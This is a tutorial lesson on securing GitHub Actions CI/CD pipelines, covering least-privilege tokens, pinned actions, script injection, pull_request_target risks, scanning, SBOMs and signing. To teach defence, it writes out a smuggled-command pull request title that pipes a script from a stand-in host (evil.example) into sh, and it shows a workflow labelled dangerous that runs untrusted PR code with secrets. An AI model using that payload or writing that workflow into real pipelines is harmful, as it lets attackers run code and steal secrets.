Skip to content
Tutorials Center
My learning

Topics

Lesson 27 of 44 ยท Testing and Quality Gates

Securing Your Pipeline

Harden GitHub Actions pipelines: least-privilege tokens, pinned actions, script injection, pull_request_target risks, secret scanning, SBOMs and signing.

A CI/CD pipeline is a machine that runs code, holds secrets and can publish to production. That makes it one of the most attractive targets in your whole organization. An attacker who controls your pipeline does not need to break your servers: your own automation will deploy their code for them.

This lesson covers the practical defenses, mostly with GitHub Actions examples because its model is the most widely used: least-privilege tokens, pinned third-party actions, script injection, the dangerous pull_request_target trigger, secret and dependency scanning, and SBOMs and signing. The same ideas apply to Jenkins and GitLab. For the basics of secrets, see Secrets, Variables and Environment Variables.

The workflows below are read-only examples; they cannot run on this site. The two TryIt blocks are small linters written in JavaScript that scan workflow text for the risky patterns discussed. They are stand-ins for real tools such as actionlint or zizmor, not replacements, and they use simple line-based rules.

Who can run what: the threat model

Think about three kinds of input to a workflow:

  1. Code you wrote and reviewed on a protected branch. Trusted.
  2. Code from a pull request, especially from a fork. Untrusted: anyone can open one.
  3. Text fields such as pull request titles, issue bodies, branch names and commit messages. Also untrusted, and easy to forget about because they are "just text".

The core principle is simple: untrusted input must never reach a place where it can run as code, and untrusted code must never run where secrets and write permissions are available. Everything below is an application of that sentence.

Least-privilege tokens

Every run gets an automatic GITHUB_TOKEN. What it may do is controlled by the permissions key. Set it to the minimum, at the top of the workflow, and grant more only to the job that needs it.

YAML
name: ci
on: pull_request

permissions:
  contents: read        # everything else becomes "none"

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: npm ci && npm test

  comment:
    runs-on: ubuntu-latest
    permissions:
      contents: read
      pull-requests: write   # only this job may comment on the PR
    steps:
      - run: gh pr comment "$PR" --body "Tests passed"
        env:
          GH_TOKEN: ${{ github.token }}
          GH_REPO: ${{ github.repository }}
          PR: ${{ github.event.pull_request.number }}

When you write a permissions block, every permission you do not list is set to none. If you omit the block, the default depends on repository and organization settings; set the default to read-only in settings so that forgetting the block is safe. Release jobs that need to write tags or packages, or deploy jobs that use OIDC (id-token: write, see Deploying to Servers, Containers and Static Hosting), ask for exactly those permissions in their own job.

The same principle holds for stored credentials: prefer short-lived tokens (OIDC) over long-lived keys, scope every secret to one purpose, and use environment secrets so only the production deploy job can read the production key.

Pinning third-party actions

uses: owner/action@v4 means "run whatever code the v4 tag points to today". Tags are movable. If the action's repository is compromised, or the maintainer is, the tag can be pointed at malicious code and your next run executes it with your secrets. Real supply-chain attacks on popular actions have worked exactly this way.

Pinning to a full-length commit SHA fixes the code you run:

YAML
steps:
  # Pinned: this exact commit, with the human-readable tag as a comment
  - uses: actions/checkout@0123456789abcdef0123456789abcdef01234567 # v4.2.2  (example SHA)
  # Not pinned: a tag can move
  - uses: some-org/some-action@v2

The SHA above is only an example; use the real commit SHA of the release you reviewed. Keep pins fresh with Dependabot or Renovate (see Pipeline Metrics and Maintenance), which open pull requests that bump the SHA and update the comment. Organizations can also enforce pinning with an allow-list policy. Actions published by GitHub itself (actions/*) are lower risk than unknown third parties, but pinning them costs nothing.

Docker images used in pipelines have the same problem: node:22 moves, node@sha256:... does not.

Script injection

This is the most common real vulnerability in workflows. Look at this step:

YAML
- name: Greet
  run: echo "Thanks for the PR: ${{ github.event.pull_request.title }}"

${{ ... }} is expanded before the shell sees the script, by plain text substitution. If someone opens a pull request titled

TEXT
"; curl https://evil.example/x.sh | sh; echo "

the shell receives echo "Thanks for the PR: "; curl ... | sh; echo "" and runs the attacker's command, on your runner, with the job's token and secrets.

The fix is to pass untrusted values through an environment variable, which the shell treats as data and never re-parses as code:

YAML
- name: Greet
  env:
    PR_TITLE: ${{ github.event.pull_request.title }}
  run: echo "Thanks for the PR: $PR_TITLE"

Fields that attackers can control include titles and bodies of issues, pull requests and comments, head_commit.message, author names and emails, and branch names (github.head_ref, pull_request.head.ref). Branch names can contain characters such as $(...) and ;, so they count too. Contexts such as github.sha or github.run_id are safe because the system generates them.

An even safer pattern for complex logic is to use a script file or an action that receives inputs as arguments, rather than building shell text by hand.

The first TryIt scans workflow text for expressions with untrusted values inside run: blocks. It is a line-based stand-in for the real analyzers.

JS Find injection-prone expressions in a workflow

Press Run (or Ctrl + Enter) to see the console output here.

No output.

Notice what it does not flag: the env: assignment (safe) and github.sha (generated by the system). Real analyzers go much further, following expressions through with: inputs of actions/github-script, for instance, where the same injection exists in JavaScript instead of shell.

pull_request versus pull_request_target

The usual pull_request trigger runs the workflow from the merge commit of the PR. For pull requests from forks, GitHub gives it a read-only token and no secrets. That is safe, which is also why it cannot do things like comment on a fork's PR.

pull_request_target runs the workflow definition from the base branch (your trusted code) but with a write token and access to secrets. It exists for jobs like labeling or commenting. The danger arrives when such a workflow also checks out and runs the pull request's code:

YAML
# DANGEROUS: do not do this
on: pull_request_target
jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}   # attacker's code
      - run: npm ci && npm test                            # runs it, with secrets in reach

Now a stranger's package.json install script runs with your secrets and a write token. The safe designs are: use plain pull_request for building and testing; if you must use pull_request_target, never check out or execute the PR's code in it; or split into two workflows where an unprivileged one builds and uploads results as an artifact and a privileged workflow_run workflow only reads that artifact as data (never executes it). See Triggers for how the events differ.

Also: require approval before workflows run for first-time contributors, and set Actions to not send secrets to fork pull requests (the default).

Scanning for secrets and vulnerable dependencies

  • Secret scanning and push protection. GitHub can scan for known token formats and, with push protection, reject a push that contains one. Tools such as Gitleaks can run in CI or as a pre-commit hook. If a secret leaks, rotate it immediately; deleting the commit is not enough because it remains in forks and clones.
  • Dependency review. The actions/dependency-review-action can fail a pull request that adds a dependency with a known vulnerability or a disallowed license.
  • Dependency and code scanning. Dependabot alerts, CodeQL and similar scanners find vulnerable libraries and insecure code patterns.
YAML
name: dependency-review
on: pull_request
permissions:
  contents: read
jobs:
  review:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/dependency-review-action@v4
        with:
          fail-on-severity: high

SBOMs and signing

A software bill of materials (SBOM) is a machine-readable list of everything inside a build (SPDX and CycloneDX are the common formats). When a new vulnerability is announced, an SBOM tells you in seconds whether you ship the affected library. Generate one in CI with a tool such as Syft and attach it to the release.

Signing proves where an artifact came from. With keyless signing (for example Sigstore's Cosign) the pipeline uses its OIDC identity to sign the container image, and consumers verify that the image was produced by your workflow in your repository. GitHub's artifact attestations record build provenance in a similar way. This turns "I trust this image because the tag looks right" into "I trust it because its signature proves it came from this repository's main branch".

The second TryIt checks the other half of this lesson, a quick audit for missing permissions and unpinned actions.

JS Audit a workflow for permissions and pinning

Press Run (or Ctrl + Enter) to see the console output here.

No output.

A pipeline security checklist

flowchart TD
    A["Untrusted input<br/>(PR code, titles, branch names)"] --> B{"Reaches a<br/>run script or secret?"}
    B -->|"expression inside run:"| C["Move it to an env var"]
    B -->|"PR code runs with secrets"| D["Use pull_request, or split the workflow"]
    B -->|no| E["Keep token read-only,<br/>pin actions, scan, sign"]

Ask where untrusted input flows; the fix is almost always to separate it from code and secrets.

Check your understanding

Quick check ยท 5 questions

of 5 answered You scored / 5 ยท perfect!

  1. 1. Why is run: echo "${{ github.event.pull_request.title }}" dangerous?

    Expressions are substituted as plain text. Passing the value through an environment variable keeps it as data.
  2. 2. What does pinning an action to a full commit SHA protect against?

    A commit SHA is immutable, so the code you reviewed is the code that runs. Tags and branches can be moved.
  3. 3. Which setup is the dangerous one?

    pull_request_target has secrets and a write token. Running an attacker's code there hands them both.
  4. 4. If you write permissions: contents: read at the top of a workflow, what happens to the other permissions such as issues?

    Listing any permission makes all unlisted permissions none, which is what makes it least-privilege.
  5. 5. What is the main benefit of an SBOM?

    An SBOM lists what is inside a build, so you can answer the question when a vulnerability is announced.

Summary

  • Untrusted input (PR code, titles, bodies, branch names) must never become shell code or run next to secrets.
  • Set permissions to read-only by default and grant extra scopes per job.
  • Pin third-party actions and images to immutable SHAs or digests, and let Dependabot or Renovate update them.
  • Pass ${{ }} values to scripts through env: variables.
  • Avoid running PR code under pull_request_target; split privileged and unprivileged work.
  • Add secret scanning, dependency review, SBOMs and signing so you can prove what you ship.

Time to ship what you built: Versioning and Automated Releases.